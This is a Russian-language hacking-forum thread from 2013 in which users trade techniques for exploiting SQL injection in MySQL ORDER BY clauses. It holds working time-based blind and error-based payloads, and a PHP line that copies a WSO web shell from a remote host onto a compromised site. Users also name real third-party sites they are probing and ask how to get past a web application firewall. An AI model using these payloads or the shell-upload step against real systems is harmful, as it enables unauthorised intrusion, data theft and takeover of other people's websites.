ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

29.11.2013, 01:27
|
|
Guest
Сообщений: n/a
Провел на форуме: 15642
Репутация:
6
|
|
Сообщение от [R
eD"]
[R]eD said:
Есть иньекция вида:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Пробую делать так:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id+group+by+concat((select+version()),floor(rand(0)*2))+having+min(0)+or+1+--+1
Но получаю:
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+concat((select+version()),floor(rand(0)* 2))+having+min(0)+or+1+--+1' at line 1
А если делать union select
Код:
Code:
SELECT * FROM `date` WHERE name = 'test' ORDER BY id union select 1
то получаю:
#1221 - Incorrect usage of UNION and ORDER BY
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Инъекция в ORDER BY.
Такие инжекты крутите, как блайнд:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id AND IF(SUBSTR(VERSION(),1,1)=5,SLEEP(5),0)
|
|
|
|

29.11.2013, 01:30
|
|
Guest
Сообщений: n/a
Провел на форуме: 51991
Репутация:
2
|
|
ex'pert
SQLmap или руками.
|
|
|
|

29.11.2013, 10:10
|
|
Guest
Сообщений: n/a
Провел на форуме: 132418
Репутация:
652
|
|
Сообщение от [R
eD"]
[R]eD said:
Есть иньекция вида:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Дополню ответ, который дал UXOR(может кому будет полезно):
Для эксплуатации инъекций применяется слепой метод:
Бинарный поиск всем знаком. Для того, чтобы вытащить 1 символ, нам необходимо послать 8 запросов.
Код:
Code:
SELECT if(ascii(substr(version(),1,1)) 0,
# pow - возведение 2 в степень для получения необходимого числа:
# 2^0 = 1 = 00000001
# 2^1 = 2 = 00000010
# 2^2 = 4 = 00000100
# Так-же для этих целий можно использовать побитовый сдвиг
# он и короче, но символы могут фильтроваться
# (Выше они используются для упрощения)
# 1 > (SELECT 1) = 2
id, -id
))), 1000) LIMIT 9;
Так, что есть пища для размышления.
|
|
|
|

29.11.2013, 13:35
|
|
Guest
Сообщений: n/a
Провел на форуме: 94006
Репутация:
24
|
|
Нашёл, вроде как скулю, но что-то есть сомнения..
Код:
Code:
http://www.maxgame.com.ua/index.php?route=product/product&path=76'&product_id=852
|
|
|
|

29.11.2013, 14:01
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме: 2268
Репутация:
0
|
|
UXOR, YaBtr, Вы что-то не то советуете.
Сообщение от [R
eD"]
[R]eD said:
Есть иньекция вида:
Код:
Code:
SELECT * FROM `data` WHERE name = 'test' ORDER BY id {SQL-INJ}
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'group+by+concat((select+version()),floor(rand(0)* 2))+having+min(0)+or+1+--+1' at line 1
Как сделать правильно? Или после конструкции ORDER нельзя уже ничего сделать?
Код:
Code:
ORDER BY id|(SELECT 1 from information_schema.tables group by concat((SELECT version()),floor(rand(0)*2)) having min(0))
Если бы инъекция была в GROUP BY, то тогда так:
Код:
Code:
GROUP BY id is null, concat((SELECT version()),floor(rand(0)*2)) having min(0)
Unknowhacker, там нет инъекции.
|
|
|

30.11.2013, 00:20
|
|
Guest
Сообщений: n/a
Провел на форуме: 17560
Репутация:
0
|
|
Сообщение от ZARO
ZARO said:
Не обязательно. Если хочешь шелл в текущую папку залить, где скрипт выполняется, то надо в его случае:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]copy[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'http://site.ru/wso2_pack.txt'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'./wso2_pack.php'[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Можно пример? А т залиться не получается...да и с багами такими первый раз судьбу связал)
http://blogs.simplefit.ru/recipe/rss/
|
|
|
|

30.11.2013, 00:51
|
|
Новичок
Регистрация: 29.10.2008
Сообщений: 1
Провел на форуме: 1034
Репутация:
0
|
|
Привет всем!
Как обойти фильтрацию incapsula при SQL-инъекции?
Спасибо.
|
|
|

30.11.2013, 01:02
|
|
Guest
Сообщений: n/a
Провел на форуме: 77731
Репутация:
33
|
|
Сообщение от Unknowhacker
Unknowhacker said:
Нашёл, вроде как скулю, но что-то есть сомнения..
Код:
Code:
http://www.maxgame.com.ua/index.php?route=product/product&path=76'&product_id=852
нет там ничего ИМХО
|
|
|
|

01.12.2013, 09:49
|
|
Guest
Сообщений: n/a
Провел на форуме: 61136
Репутация:
32
|
|
Попытка слепого метода в Havij
Почему когда Length of 'Current DB' is 16 все выводит нормально
А когда Length of 'Current DB' is 63 выводится все в кубиках ?
|
|
|
|

01.12.2013, 14:07
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме: 69033
Репутация:
8
|
|
Сообщение от WallHack
WallHack said:
Попытка слепого метода в Havij
Почему когда Length of 'Current DB' is 16 все выводит нормально
А когда Length of 'Current DB' is 63 выводится все в кубиках ?
Не путайте виды инъекций.
Судя по всему, у вас Blind SQL и Double-Blind (Deep Blind) SQL.
Если первой достаточно логического уровня и ответов типа true-false, то вторая дополнительно зависит от временных задержек между запросом и ответом сервера.
При нестабильной реализации 2ого варианта, вы будете получать не только некорректные данные, но и парсить неправильную длину нужных вам данных.
В вашем случае, Length of 'Current DB' скорее всего равен 62, и инъекция там не наблюдается.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|